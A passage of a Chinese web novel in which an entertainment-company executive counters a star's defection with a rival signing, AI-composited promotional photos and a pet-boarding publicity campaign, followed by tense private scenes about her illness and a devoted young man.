邱芜澜和她的同行们致力于破除遍地九十八分的局面,他们花费了近百年的时间,用一个世纪去改造娱乐圈的土壤。 当消费者们看惯了三十分的艺人后,只需要培养出一个六十分的明星,便会被观众捧上神坛。 邱芜澜不会放弃流水线上的产品,不大量生产这些工艺品,如何突显艺术品的珍贵。 可一直审美降级势必反噬自身。 派克钢笔的量产、降价计划,不仅没有使它更上一层,反而导致品牌失去了高端定位。 秋叶娱乐进军娱乐圈有点晚了,想要迅速站稳脚跟,邱芜澜只能用钱堆砌垃圾,靠量取胜。 不管宋折凝再如何趾高气昂、跋扈霸道,她现在都需要她这样的艺术品。 在时代垃圾的衬托下,艺术品越来越稀少、也就越来越珍贵、越来越具有影响力。 到了今天,秋叶娱乐需要如宝马一般,拿下中低端市场后,开始着手劳斯莱斯这样的高端领域。 这是一个很好的时机。 邱芜澜抿着热可可,对着屏幕思考她策划许久的项目—— 造星计划。 这是需要投入时间的计划,在新的星星打造完成之前,需要有成熟的星星开辟道路。 娱乐圈更迭速度太快,她无法空等新星成熟,尤其是,她没有太多时间只专注于娱乐圈的业务了,集团里还有其他业务等着她接手。 秋叶娱乐面临着艺术品青黄不接的春荒阶段。 邱芜澜换了频道,切到MS的舞台,看见了作为导师献唱的宋折凝。 要保住宋折凝,还要挖掘其他成熟的星星。 简按照她的吩咐,约了宋折凝在节后面谈。 不知是否错觉,邱芜澜总有些不安。 自入股失败后,宋折凝表现得过于乖巧了:她没有再抢走公司其他艺人的商单、没有再擅自带人来秋叶,甚至没有再找过邱芜澜。 邱芜澜直觉她并不像表面那样省心,心中定然有着不小的怨气。 正当她思索着用什么去安抚宋折凝时,手机嗡嗡震颤了起来。 甫一接听,便传来了简茫然而急促的声音。 “邱总,出事了。” “两分钟前,宋折凝发布云书,声称自己跳槽华映。” 邱芜澜抬眸,镜头切近,她与屏幕上握着话筒的宋折凝四目相对。 听见简说的话后,在这一段副歌结束之前,季尧将手机递到邱芜澜眼前,调出了宋折凝的云书账号。 最新一条的热门赫然写着“新的征程”四个字,配图:华映总部大楼。 浸淫娱乐圈多年,踏入公司管理层一脚的宋折凝极其了解相关法律,更有着强大的律师团在身边为她规避风险。 她的言语模糊暧昧,MS由华映策划,这张图亦能代指加盟MS节目。 邱芜澜看了眼时间,1月2日,晚上八点。 这是网流量的高峰期,这条云书被顶到热搜榜一,前面的“爆”字红得发紫。 距离新年股市开盘剩下十二个小时。 邱芜澜没能完成和季尧的元旦约定。 她挂断电话起身,季尧从衣帽间为她挑好了衣服。 他为她扣上女士衬衫的袖扣时,庭院外恰好响起螺旋桨的声音。 “姐姐,我也想一起。”他说。 邱芜澜没有拒绝。 晚上八点二十五,秋叶娱乐会议室的灯光亮起,法务、市场、营销公关、原始股东们悉数到齐。 “联系不上宋折凝。”简第九次挂断电话,无奈地向几人汇报,“她的整个团队都失联了。” “我们必须在凌晨前发表澄清,宋折凝不仅是极具影响力的艺人,更是众所周知的ASHS,如果连我们自己的股东都选择了离开,那明天的股价将一发不可收拾。”有股东焦急道。 “现在几点?” “八点半,距凌晨三个半小时。” “必须联系上宋折凝,她的确没有艺人合约束缚,但她难道不知道自己签了竞业协议?” 秘书急得快哭了:“不行,还是打不通,她经纪人、助理都不接电话,连宋姐的摄影、化妆师都关机了!” “去她家找!” “不行,被拍到就成强迫威胁了。” “联系不上宋折凝,那就联系华映!” 焦躁的情绪如草原上的火种,转瞬之间便点燃了整片草原。 邱芜澜听着会议室内的七嘴八舌,握着手机,盯着漆黑的屏幕。 分针走过了“11”,嗡嗡的语音提醒在她掌间不约而临。 躁动的会议室里,这声音毫不起眼,可因来自首位的邱芜澜,于是所有人安静了下来。 他们紧张万分,期盼打电话来的是宋折凝,又担心是来问责的邱承澜。 众人的瞩目下,邱芜澜指尖一顿,按下了接听。 “我看见云书了。” 优雅如歌的声音从电话另一头传来,带着点点笑意。 “芜澜,你需要我,是不是?” 邱芜澜没有回应。 那笑意化为实质,泉水流淌一般,清灵妙曼。 “别这样芜澜,别露出这种表情。” 这只是语音,而非视频,可对面就像是在看见“正在输入中……”后,立刻询问邱芜澜是否要语音一样,敏锐地洞悉了她的反应。 “不是什么大不了的事,只要你开口,我一定不会拒绝。” “我知道。”邱芜澜敛眸,“所以我才难以启齿。” “嗯?你在担心我的合约?” 邱芜澜道,“也不想你惹上背弃东家的恶名。” “是呀,”那声音美妙得如同乐器,“可你没有时间了,还有十一个小时,天就亮了。” “……” “芜澜,我的芜澜。”当那嗓音发出喟叹时,宛如最和谐的共鸣,亦如最优雅的情语,“我可以帮你,但我要最隆重的欢迎仪式。我不想成为宋折凝的备用替身,我要你——亲自迎接我,让所有人知道,是因为我,宋折凝才战战兢兢、被逼得不得不离开秋叶。” 邱芜澜失笑,“如果你来,我会给你最高规格的待遇,高于宋折凝。” “成交。” 九点差五分,另一条黑红色的热搜顶下了宋折凝。 二十八岁蝉联三届金梅奖的天后季语薇发布云书: 一张她在家中阳台执着枫叶的自拍照。 配字: @秋叶娱乐你好呀,小叶子。 第24章 第二十四章 季语薇的名字, 曾被冠上神话。 年轻一代艺人中,她是少有的得天独厚。 季语薇出生在部队文艺团,双亲都是文艺兵, 收入不高,但那个年代能送孩子学音乐, 季语薇祖父母、外祖母的家庭还算优渥。 出生于这样的家庭,季语薇不仅有着良好的音乐天赋, 也受到了周全的后天教育。 在开口喊爸爸妈妈之前,季语薇先学会了唱基本音阶。 父母的支持下,季语薇五岁开始参加各类艺术比赛, 钢琴、小提琴、长笛、声乐、古典舞、芭蕾, 包揽数个领域。 十五岁, 斩获国内外多项艺术大奖的季语薇被天美娱乐签下, 正式开启了演艺生涯。 少女时代的季语薇灵气逼人, 独立创作了许多爆红歌曲, 当年便摘下了国内流行曲红榜榜首。 音乐道路上季语薇一帆风顺, 她不能用艺人来概括,更像是一位音乐家,而年少成名的音乐家总是有些清傲的, 因此, 季语薇在表演方面始终没什么进展。 天美娱乐多次将她引向影视圈, 可惜季语薇表现平平,对拍戏也没什么热情, 公司只好作罢。季语薇的父母虽不是富豪, 却是比富豪更强硬的军方背景,表面上看,天美不敢把威逼小明星那一套把戏放在她的身上。 季语薇似乎没有看懂公司的忍让, 她不仅不拍自己不感兴趣的戏,连营销都不爱营销。 综艺、广告只捡自己喜欢的接,云书账号也不让公司碰,每天爱发什么发什么。 这天晚上,在宋折凝言辞暧昧地披露即将离开秋叶、转入华映后,仅隔五十五分钟,刚刚三次蝉联国际金梅奖的天后季语薇便发布了加入秋叶的高调声明。 前一分钟还在吃瓜的季语薇粉丝们当场傻眼。 “姐姐什么时候离开的天美!怎么一点儿消息都没有!” “天啊,姐姐真的和秋叶签约了吗?” “各位!我悟了!小雨答应进组,是因为秋叶在建影视城啊各位!” “什么——原来是这样吗!我还震惊小雨为什么突然拍戏了!” “有生之年居然能看到小雨的古装造型了!让我们说,谢谢秋叶!” “谢谢秋叶!!!期待+10086!” 天美虽然是老牌娱乐公司,但在背靠秋叶集团的秋叶娱乐面前,未必是一个量级。 季语薇的云书下围满了震惊后恭喜她的粉丝,另一边,宋折凝的评论区就有些黯淡了。 “宋姐真的要离开秋叶了吗?” “别吧,华映挺压榨艺人的,宋姐小心别被坑了。” “秋叶就不坑了?他们还有竞业协议呢,宋姐不会真的一年不出现了吧!” “宋折凝不是秋叶的股东么,为什么要离开秋叶?” “你们是不是想太多了,人家单纯是指加盟MS而已。” 原本关于宋折凝这条云书的猜测层出不穷,在季语薇发布云书后,评论区画风陡然变得戾气丛生。 “快一个小时了,秋叶官方还没有澄清,八成是真的了……” “我靠,季语薇签约秋叶了?怪不得宋折凝想走。” “兔死狗烹的资本家,有了新王牌就这么对待元老。” “宋姐可是秋叶的股东,连股东都能走,可想而知私底下受了多少委屈[心疼]。” 秋叶娱乐舆情部门半数员工皆已到岗。 “发布时间过于接近。” “用户社交节点高度重复、账号权重较低……” “宋折凝的团队下场了。” “不止是宋折凝的团队,这一批用户画像也在我们的数据库里,是华映在操作。” 邱泽安站在一排排显示器后,面无表情地盯着密集的数据。 舆情组长弯腰撑在副组长的电脑前,故作严肃地同副组长低声交谈,借以躲避邱泽安的视线。 他不敢回头,工作间里分明热火朝天,可他莫名脊背发寒,好像从背后看见了邱泽冰冷的眼神。 组长欲哭无泪,瞪他干嘛,又不是他半夜公然跳槽的。 这窒息的气氛,在门外传来短跟鞋的声音后,才稍有放松。 邱芜澜带着简和法务秘书、两位董事,营销部经理、经理秘书,以及末尾缀着的季尧进入了舆情办公区。 秘书将舆情组的玻璃门推开,一行人进入工作间,死死盯着舆情组长后脑勺的那股视线终于移了开去,组长如释重负地重获呼吸。 “姐姐。”邱泽安快步迎了上去。 邱芜澜问:“怎么样?” 舆情组长正准备向邱芜澜汇报,他开口之前,邱泽安先一步总结:“热度激增,大批画像高度相似的账号涌入,初步判断是宋折凝和华映的团队。” 邱芜澜侧身,让出了站在后方的法务和营销经理,连着舆情组长和邱泽安四人,在二十多台舆情监控屏前就地开了一场微型会议。 “给我个方案。” 营销经理首先道,“距离季语薇发云书到现在已经五分钟了,官号需要给出回应。” 法务秘书说:“我们还不能确定季语薇是否真的脱离了天美,如果他们之间尚有未解决的纠纷,冒然应下,会给公司带来很大麻烦。” 邱芜澜望向营销经理边上的女秘书,“让官号欢迎季语薇。” 几人一顿,没敢开口,唯有邱泽安能说:“姐姐,最好还是和天美那边确定一下。” 邱芜澜指尖微抬,“方案,继续。” 女秘书看了眼自家经理,见他没有反驳,便拿出手机,依照邱芜澜的命令通知了宣发小组,让他们就位。 既然邱芜澜下了决断,邱泽安便顺着她的想法提供方案:“发一组季语薇的九宫格欢迎她,图片里要包含公司或者公司项目的元素,不能让外界以为季语薇是我们临时找的救场。” “这样会更加坐实我们为捧季语薇、暗中欺负宋折凝的谣言。”舆情组不同意,“宋折凝和华映正在把话题往这个风向推。” “卸磨杀驴,总好过原因未知的阴谋论。”邱芜澜对着邱泽安颔首,“就这么办。联系季语薇,让她配合宣发组拍照。” “好。”秘书通知了下去。 卸磨杀驴不是个容易洗白的罪名,尤其宋折凝是元老中的元老。 但比起娱乐公司,邱芜澜更在乎秋叶集团。 与其让民众猜测,宋折凝作为股东,是否探知了秋叶衰败、违法等内幕才选择的跑路,倒不如背一个黑心资本的恶名。 后者会让秋叶娱乐受到唾弃,但不会对内外盘产生太大影响。 “明天中午,最好能发一期季语薇的排程。”营销经理道,“要够分量、够让季语薇粉丝们开心惊喜。届时狂欢的粉丝会替我们攻击宋折凝,我们只需要稍微引导一下就行。” 舆情叹气:“我恐怕明天华映也会出这一招。” 两家打擂台,舆情检测有的好忙了。 “是的,要赶在华映前面,不能成了追逐模仿。”营销经理也有点头疼,“要是现在发,又太急切,显得刻意。” 邱芜澜沉吟片刻,倏尔道,“不用发。” 两人有些茫然,华映一定会发宋折凝的重磅排程,那时气焰嚣张的宋折凝粉丝必然会对秋叶和季语薇冷嘲热讽。 “季语薇后续的项目、她和天美的合约,都等天亮以后再说,别的还有么?”邱芜澜问。 没人说话,邱芜澜看向邱泽安,目光既是询问也是关切。 邱泽安抿着唇摇头,他的病情还没这么脆弱。 “图片发过来了。”秘书把手机投屏,让几个老总审核过目,“是季语薇自己以前的存货,没有对外发布过。技术组已经用AI合成了我们的元素。” 九张图中,有三张用了合成技术。 一张是季语薇站在秋叶娱乐的艺人休息室门前,眨着左眼,食指比嘘。 那是秋叶娱乐最高规格的艺人休息室,门牌上赫然写着“季语薇”三个字。证明她在秋叶已有自己的休息室。 一张是在秋叶娱乐的高层足疗室。 穿着浴袍的季语薇坐在足疗椅上,双脚浸在木桶中,腿上搁着一本杂志。 对公司外部人员而言,这张照片没什么特别的,只是在她手边的咖啡杯侧边,有一个小小的、极不起眼的秋叶娱乐logo。 另一张中,被猫咪狗狗簇拥的季语薇蹲在猫砂盆前,笑着铲屎。 这一张背景里再没任何秋叶娱乐的标志,但公司内部员工、以及对秋叶娱乐了解较深的网民一眼就能知道——这是秋叶娱乐的宠物寄养室。 九张没有对外发布的图,经过AI合成,三张含有秋叶娱乐元素,足够自然地证明季语薇并非秋叶找来虚张声势的临时演员。 邱芜澜看过,她凝望着投影上待发的九宫格,倏地开口:“把P9调到P5。” P9是宠物寄养室的图,而P5则是一副九宫图中最显眼的位置。 秘书照做,营销经理揣摩着邱芜澜更换图片位置的用意,很快反应过来:“要再用一次宠物话题冲击负面舆论?” 邱芜澜颔首。 “明白了,”营销经理道,“马上安排。” 在季语薇艾特秋叶官方的十分钟后,备受网民关注的秋叶官方迅速回应了季语薇。 秋叶娱乐:@季语薇你好呀,小雨点。 九张连季语薇骨灰级老粉都没见过的新图,大大满足了季语薇粉丝的胃口。 意料之中的,足浴室咖啡杯上的那个小logo,以及宠物寄养室的来源被扒得一清二楚。 “是小雨!新鲜的小雨!呜呜呜谢谢款待!” “小雨已经在秋叶有自己的休息室了!不敢想象她背着我们和天美解约了多久!” “密度这么大的地方猫狗别混养吧……为什么要去这种店啊,还发出来,无语,真不怕店主为了博眼球再往店里加其他物种吗?” 一众彩虹夸夸中,这条评论被顶上了前排,倒不是因为得到了太多支持,而是得到了许多回复,并直接引发了另一条热搜。 楼中楼里,有一条高赞科普: “不是店,这是秋叶娱乐的宠物寄养室。也不是集中混养,是玩得好的宠物放在一起,这间柜子上还趴了一只乌龟呢。” “是的是的!那是策划部的乌龟倪倪,六十七岁了,很喜欢趴在呜呜园的露台上晒太阳。” 这一条评论下,甚至得到了官方的回复:“每一间寄养室都安排了监控,我们的保安团队会二十四小时监测,如果有小朋友打架的话,保安叔叔们会立刻过去制止,公司底商就有合作的宠物医院,请大家不要担心哦。” “???什么寄养室?还‘每一间’?” “啊啊啊啊姐姐该不是为了kiki才和天美解约的吧!” “别说,真的有可能!去年小雨就说kiki年纪大了,出去工作的时候很担心它。” “天,我们家语薇怎么这么好。” “担心狗老,也不担心自己父母,笑死,季语薇粉丝真的是有够清醒的。” “楼上你怎么知道人家不担心自己父母?她给父母请的护理保姆比你户口本上的人都多。” “小叶子看看我[害羞],也不是为了毛茸茸,就是特别喜欢在咱公司上班的感觉。” “急死我了,宠物寄养室到底是啥啊,有没有人解释一下?” 夸赞、羡慕、争吵之间,一条话题自然而然地就势升了起来—— #秋叶娱乐宠物寄养室# 趁着热度,有娱乐大V晒出了秋叶娱乐的十间宠物寄养室,每一间都分门别类地挂着自己的门牌,除季语薇去的那间“呜呜园”外,还有“嘤嘤园”“啾啾园”“噗噗园”等九间,秋叶员工带来的宠物也千奇百怪,从常见的猫狗、鸟类、仓鼠、鱼类,到爬宠、小貂、阔耳狐,甚至还有为虫类宠物开的“嗡嗡园”。 嗡嗡园里不仅有蝴蝶、螽斯、兰花螳螂等观赏形昆虫,连宠物蟑螂都有七只。 这一连串的秋叶宠物让网友大开眼界,见过公司给员工开托儿所的,也见过公司养猫养狗的,还真没见过秋叶这样五花八门的。 秋叶的宠物寄养室早已不止一次地上过各平台热门,每一次都能引起不小热度。 三年前就有媒体采访过推出宠物寄养室这一方案的策划者——秋叶娱乐副总裁邱芜澜。 “邱总,秋叶娱乐大厦所处的地段,可以说是咱们瑚城、也是国内最顶级的CBD,听说附近的商业写字楼已经是有市无价,在这样寸土寸金的地方,您居然用了一整层来安置员工宠物。有小道消息说,公司楼下的宠物医院,也是秋叶娱乐出资建设的。能和我们分享一下您打造宠物寄养室的想法吗?” 那时邱芜澜第一次详细回答了宠物寄养室的提问。 “我近公司第二年,有一天晚上准备下班,看见新来的助理在电脑前哭。” “她跟我说,她想离职了,因为家里的猫咪有分离焦虑症,从她早上七点出门一直叫到晚上九点到家,邻居向房东投诉,要求她搬走。” “我知道她刚毕业,住得离公司远,就说,我可以给你一套员工公寓,在公司附近,你午休的时候能回去看看它。” “她还是拒绝,和我说‘算了,午休也就一个小时,我已经打算回老家了’。” 邱芜澜叹息,“娱乐、互联网一类公司的工作强度很大,这是事实。那天我送她回家,车子开到楼下就听见了猫叫。 “那声音和婴儿啼哭一模一样。她一路上都很局促、有点怕我,听见声音后瞬间就哭了。” “回去的路上,我就在想,这样一个学习公共关系管理出来的研究生,回到四线城市后该如何就业。” “她也许能找到一份清闲的工作,但清闲的工作也需要长时间离开家,并不能解决猫咪的困境。” 随着她的讲述,主持人面露同情,“这确实是个很难两全的事情。” “我去问了我的宠物医生,治疗分离焦虑症的方法。” “医生给了我建议,一是每天离家前,花费半个小时消耗猫咪的精力;二是打造‘猫咪电视’,在家里布置鱼缸、昆虫箱,或者在窗外布置喂鸟器、吸引鸟儿过来,让猫咪在家有事可做。” 主持人恍然大悟,“学到了。” “这些并不现实。”邱芜澜摇头,“刚毕业的女孩初入社会,本就是手忙脚乱的,我不希望再耗费她半小时睡眠。独身在外租房,她也不方便添置多余用品。” “所以就是因为这个女孩,您有了建设宠物寄养室的想法吗?” 邱芜澜颔首,“十年前,瑚城的养宠率是8%,今年已经到了39%,其中20岁到45岁这一年龄段占比57%,而这一年龄段,基本也是我们员工的年龄段。她不是个例,是一直被我忽视的普遍需求的一角。” “时代思维在迁移,从她开始,我才意识到,如今已不是上个世纪,工资有时候并不是年轻一代唯一看中的东西,他们正在追求尊重、情感等更高的层级。” “传统行业里的员工,奋斗的目标可能是车子、房子、孩子,但像我们这样的娱乐公司的员工,他们努力工作的目标,有的真就是为了能拥有一只宠物。” 她舒展了眉眼,如同一抔沁凉的雪水里揉入了温情,“我不止一次看见有人桌面上写着‘我早晚会有猫的’。” 主持人忍俊不禁。 说笑了一会儿,她又问:“但是很多网友都在关心,这么多不同种类的宠物待在一起,会不会产生矛盾。” “我们并不是所有宠物都照单全收,”邱芜澜道,“所有宠物想要留在寄养室,除了每年两次的体检外,还有一个月试用期,试用期不达标的宠物会被退回。” “什么,试用期?” 邱芜澜侧身,镜头让给身边的女性,“这是秋叶娱乐宠物资源管理总监Sumi,所有进入公司的宠物,都是经过她面试的。” 她身边的中年女性冲着镜头挥了挥手,笑道,“大家好,我是秋叶娱乐的CPO——Chief Pet resource Officer Sumi。” 主持人错愕地惊奇道,“我听说过CHO,还真是第一次听说CPO的。能给我们讲讲您的主要工作吗,我真的很好奇!” “我的工作其实和CHO差不多,首先会审核宠物简历,简历合格的宠物,会进行线下面试,面试、体检都合格后,会把宠物安排到适合的宠物园,进行一个月左右的试用观察期。 “有行为问题的宠物,我们会在一个月里帮助矫正,试用期内适应良好的宠物呢,就算正是入职我们秋叶娱乐寄养室了。” “那这些工作是您一个人完成吗,还是有其他人……”“嗯是的,我们部门一共是五个人,平时要负责寄养室的打扫、消毒,宠物的喂食、陪玩、洗护、体检,像犬科的话,还会需要牵出去遛。” “这也太到位了!” Sumi接着道,“其实不止是动物,植物也包含在我们的照顾对象里。过年过节或者员工出差的时候,就由我们来负责照顾小动物和植物。” “那真的不是一个轻松的活儿,”主持人倒吸了口凉气,“有出现过小动物或者植物不好养的情况吗?” “不是很多,因为我们的面试、试用期卡得比较严格,留下来的都是又乖又好养活的。” 主持人不怀好意地笑道,“冒昧问一句,您和秋叶娱乐的CHO,谁的要求比较严格。” Sumi毫不犹豫承认:“我。邱总的宠物都没过我的试用期。” “这样的吗!” 邱芜澜无奈道,“她说我的鹦鹉太吵了,每天都要报三小时的新闻,一个月了还改不过来,影响其他宠物休息,给了n+1的鸟食,就把它开了。” “什么,入职不到半年也能n+1吗!”主持人起身,作势摘掉衣领上的话筒,“快来个人给我办下离职,我要跳槽!” 当年的这段采访,又一次被带了出来,引发了一波流量。 访谈有虚假的部分,比如流传度很广的#我把总裁的宠物开除了#一梗。 邱芜澜根本没有养过鹦鹉,那不过是为了制造话题的一个营销案——也不存在什么加班的毕业女孩儿,整个宠物寄养室,都是一个为了抬升公司知名度的营销策划案。 刚毕业的瑚漂、工作压力、女企业家、宠物、公司福利待遇、搞笑梗……这个顶级的营销案融合了诸多热点元素,令秋叶娱乐迅速出现在了公众面前,在竞争激烈的娱乐圈子里杀出重围,成功赢得了年轻人的好感滤镜。 营销归营销,具体福利是真实的,没有作假。 网络是年轻人的领域,萌宠和公司待遇则都是近年的大热话题。 斥责秋叶娱乐卸磨杀驴的负面舆论顿时被宠物寄养室的话题盖过,毕竟宋折凝的知名度再高,也不会有猫咪和狗狗高。 假期最后一个晚上,马上就要上班上学的年轻人们哭天喊地,尤其是在知道秋叶娱乐有一项“陪宠假”,即宠物生病或情绪低落时可以请假的消息后,顿时更加嫉妒。 这嫉妒中,又夹杂着对寄养室里的萌宠们的渴望。 “求求了,加我一个吧,我可以清理过期的狗饼干。” “招季语薇算什么本事,有本事招我!” “二十块钱一天的寄养费也太便宜了,我这边十八线的宠物店一天都得四十。” “萌死了萌死了,我准备好麻袋了,所有毛茸茸都是我的!” “好困啊,为什么热搜总要挑节假日最后一天晚上爆啊。” “擦!这是秋叶哪位大佬养的?四十万一只的光明女神蝶养了五只!” “猫猫给你,光明女神蝶给我一只!不开玩笑,我愿意出十块!” 截止凌晨,舆情组组长的脸色越来越明媚。 宋折凝和华映的团队再是厉害,在大势所趋面前,也不过是独角戏而已。 秋叶娱乐的员工福利足够优渥,网民不在乎大咖们的资源分配,网民只在乎放假和待遇。 秋叶并不是小公司,秋叶娱乐和华映在一个量级,不代表华映和秋叶集团在一个量级。 云书公司两边都不敢收钱,闭着眼让双方公平博弈。 在平台不参与的情况下,财力远超华映的秋叶,轻而易举地稳住了局势。 舆情组长将最新的数据推给邱芜澜和邱泽安,“邱总,舆情控制住了。” 邱泽安松了口气,面朝邱芜澜露出一丝笑容,“姐姐的方案果然奏效。” 邱芜澜的表情未变,她没有多看那些数据,对舆情组长道,“轮班休息。接下来三天都会很忙,不要全都熬着。八点之前,全都按节假日计算加班费,今晚的夜宵可以报销。” “好的邱总!”舆情组长喜滋滋地走了,一离开总裁室就掏出手机滑看在营业的外卖店。 回到副总裁办公室,邱芜澜对着邱泽安招手。 邱泽安不明所以地低头。 他靠近了邱芜澜,太阳穴一凉,触到了邱芜澜的指尖,低温令通宵的大脑顷刻清明一片。 邱芜澜摘下了邱泽安的眼镜,拇指按上了他的眼尾,缓缓揉圈。 “姐姐……”邱泽安撑在办公椅上,迷惘不解,又因邱芜澜的触碰而心悦欢喜。 “傲上而悯下不是最优选,但至少能博取一个美名。”邱芜澜抚着他、注视着他,“比起媚上矜下,我还是更喜欢前者,泽安,你说呢?” 邱泽安一怔。 纤细的手指在揉散了邱泽安紧绷的脸色后收了回去。 邱芜澜坐在凛冬的深夜里,对他轻语,“别对通宵加班的下属那么疾言厉色,再好的设备也经不住暴力使用。” 她抽走邱泽安手里的手机,关掉上面的云书热搜页面,调出了外卖软件。 手机重新回到了邱泽安手中,附带了一颗糖。 “去吧,好好养护你的设备。” 如承诺的那样,她手把手地带着他做这一切。 第25章 第二十五章 季尧趴在副总裁室的沙发上, 目送邱泽安离去。 他的视线在邱泽安手中的手机和那颗糖上停留了片刻。 那曾是他的待遇。 及时救场的季语薇、被邱芜澜悉心教导的邱泽安,他和他们之间的距离似乎越来越远。 季尧凝望着办公桌后的邱芜澜,原本, 她身边该是他的位置…… 他盯着邱芜澜的时间有些长了,不知何时, 邱芜澜注意到了他。 高楼外的夜风凛冽躁动,邱芜澜看了眼时间, 零点十分,这场突如其来的网络盛宴渐渐平息,舆论看似倾向秋叶, 但九个半小时后的开盘, 才能看出这场仗是否真的胜利。 邱芜澜双手交握, 一阵熟悉的躁逆涌上了心脉。 宋折凝毕竟是双栖影后, 出道比季语薇早整整八年, 而宠物寄养室和秋叶的各种福利待遇都是已经营销过几轮的冷饭。 热搜几个爆红, 这一连串的新闻势必会对公司产生影响, 正式出结果前,没有人有十足的把握。 时间分秒流逝,过了零点, 整个世界都沉入休憩。 四周愈发寂静, 噪音清空, 注意力愈发集中于身体反应。 躁痒如同赤蛇,从足尖顺着脚踝向上攀绕, 邱芜澜瞌眸, 微凉的指尖抵着太阳穴重压,试图驱散诡异的幻影。 “姐姐。”少年清朗干净的嗓音响起,邱芜澜涩然睁眸, 看见送到身前的水杯和药。 她呼出一口浊气,呼吸滚烫,指尖却愈发冰凉。 服了药,她靠在椅中,静静等待黎明到来。 季尧没有走开,邱芜澜的目光移到了他身上。 “阿尧。”她开口唤他,“你怎么想。” 季尧弯眸,“姐姐,我不懂这些。” 邱芜澜胸口腷臆无比,药效还未起,那股躁意如爆裂的岩浆,几乎决堤。 面对季尧时,邱芜澜的情绪总会出现过大的起伏。 或许是因为,季尧不仅是季尧,也是她的一部分——她人生中唯一踟蹰无措的那一部分。 “姐姐,别生气。” 她什么也没说,表情都未动,可季尧立刻矮身,如羊羔饮乳那样跪坐在邱芜澜脚边,拉着她的手,仰视她,“姐姐处理得很完美。” 邱芜澜半瞌眼睑,目光触及了季尧微卷的软发。 凌晨时分,秋叶娱乐所处的CBD依旧川流不息,他身后的落地窗外灯光熠熠,远灯照应出他头发柔和的泽光。 正如邱芜澜对季尧的评价,可爱而绝不天真。 他是利用可爱束缚母兽的幼崽,即便当上偶像,也懒得动用自己的容貌,拍摄、录制永远是点到为止的敷衍,唯有面对邱芜澜时,他十分清楚如何利用自己的身体让她心软。 邱家人对血亲有着另类扭曲的偏执,季尧知道,自己的头发和邱夫人多么相似。 他喜欢对着邱芜澜下跪,不止是为了表达臣服、满足邱芜澜的权欲,更也是为了让她看见自己的头发。 “阿尧,告诉我——” 不出所料的,他得到了邱芜澜的爱抚。 纤细的五指插.入了季尧的发中,惝恍的呢喃从上方传来:“我没有喂饱她么,为什么要背叛我。” 她知道宋折凝不够温驯,出于对邱承澜的尊重,邱芜澜没有动过她。 依照宋折凝的性格,只要满足她的权欲,她不会舍得离开,一直以来,邱芜澜也是这样做的。 难道是她给的还不够多么…… 季尧定定望着眼前鹿皮女靴。 他不确定,自己有没有说实话的资格。 半晌,他微滚喉结,低声道,“姐姐,宋折凝只是个戏子。” “继续。”药效渐起,那声音仿若来自九霄,隔着茫茫重云,愈发迷离飘忽。 季尧没有继续,他沉默着、衡量着。头皮倏地一痛,掌控着他的五指骤然收紧,扯住了那些柔软无害的发丝。 “姐姐对她…太好了,让她忘记了自己是谁。”发根被拉扯着,他艰涩地道出后续,“如果不是华映内部混乱到了崩溃,那他们绝没有理由公然攻击秋叶。” 发间的手指松弛了,痛感消失,恢复了最初的温柔。 “可他们就是这样做了。” 季尧双拳搁在膝上,指骨突出,关节用力泛白。 他道,“这不是攻击,是挑衅。” 话音既出,他的十指收得更紧,全身的肌肉骨骼都绷得僵硬。 办公室落针可闻,空气沉寂如水银,无可呼吸。 季尧一脚跨出了试探的边缘,他知道这绝不安全。 可他有些无法忍受了。 或许是因为今晚得到邱芜澜感谢的季语薇,或许是得到邱芜澜进一步教导的邱泽安,他们让他嫉妒不已; 或许是日渐挤压他生存空间的韩尘霄让他惶恐不安; 又或许是韩尘霄被叫“哥哥”后竟能再度复出、甚至成为邱芜澜恋人一事,让季尧觉得那座不可悖逆的巨山出现了裂缝…… 他屏着呼吸,狠心越过了那根红线,忐忑地等待结果降临。 分不清是多久的死寂后,他头顶的手抽离了。 季尧猛地仰头,对上了邱芜澜索然无味的脸。 她面朝着落地窗、仿佛坐拥整片繁华的瑚城中心,可半张脸匿在阴影里,脸上全是乏味。 “回去休息吧阿尧。”她说,“你明天还有工作。” 季尧蓦地泄了气。 他知道,自己又一次被挡在了名为“邱承澜”的山前。 “好的姐姐。”少年脸上浓密的鸦睫颤了颤,仿若落泪,他抬头,扬起乖巧的甜笑,“我先走了。” 办公室的门轻轻合上。 邱芜澜抚上额角,药物阻断了多巴胺和5-羟色胺受体,世界变得灰白单调,一切都无聊无趣,所有情绪被湮没海底。 在无边的麻木之中,她唯一感受到的是混乱无序和微不可察的一丝愧疚。 她又一次迁怒了季尧,像是那天粗暴地往他口中灌酒。 邱芜澜隐隐察觉到,季尧比她更加清醒。 她尚未辨清自己的想法,那个刚过二十岁生日的少年却已然洞察了她内心深处的选择,所以出口前再三犹豫。 可那真的是她内心深处的选择么。 邱芜澜不确定。 她一次次逼迫季尧,是否是想推卸责任、想让他替自己迈出那离经叛道的一步。 邱家的基因、邱家的教育,令她无法自拔,于是怒不可遏地要求泥淖岸上的季尧—— 他站在岸上,他没有陷在泥淖里,她是如此宠爱他,他为什么就不能帮她一把? 帮她什么? 尚未决定。 睁眸,邱芜澜看见手掌中残留的几缕发丝。 和她一样的质地,只是长度不同。 余光中有一抹淡淡的红色在蠕动,邱芜澜感到心惊——她应该心惊的,明明才服了药,她不可能看到幻觉! 蠕动的红色很快消失,仿佛只是她眼花而已。 药物如同濡湿的纸蒙住了她的口鼻,她只有“感到心惊”的逻辑推理,而没有“心惊”的情绪感受。 邱芜澜额角渗出了冷汗。 她怔怔望着手中的软发,区别于性.欲,有另一种陌生的情愫在麻木之中发酵、孕育。 那个因她呼吸稍浅一些,便立即跪下的美丽少年,他是如此卑顺,全然臣服于自己脚下,将脆弱的后颈暴露在自己眼前。 邱芜澜想起了自己第一次骑上那匹拉塞。 它是世界闻名的冠军,争强好斗,有着傲视群雄的能力。 这样的马最终被圈养在她的庄园,再也无法驰骋赛场,只能垂着美丽油亮的马颈,供她散步般地驱驰。 它本该愤怒,可日渐温顺——只对她一人温顺。 抓着季尧头发的那一刻,她恍惚以为自己是在抓拉塞的缰绳。 一丝难以言述的兴奋从麻木中游出,在灰白的世界里海藻般摇曳。 邱芜澜收拢五指,握紧了那几根被她拽下的软发。 阻断药失效了。 毫无疑问,她的病情在恶化,如癌细胞一般,正往未知的方向变异。 敲门声打断了那黏稠的恐惧,邱芜澜猝然扭头,见简带着人出现在办公室门口。 “邱总,风控想和您开个短会。” 邱芜澜闭了闭眼,旋即起身。 她身后夜色尚浓,无有天光。 无需天光,盏盏不休的人造灯不论昼夜、不论春秋,每分每秒都在以高昂的费用换取改天换日的光明。 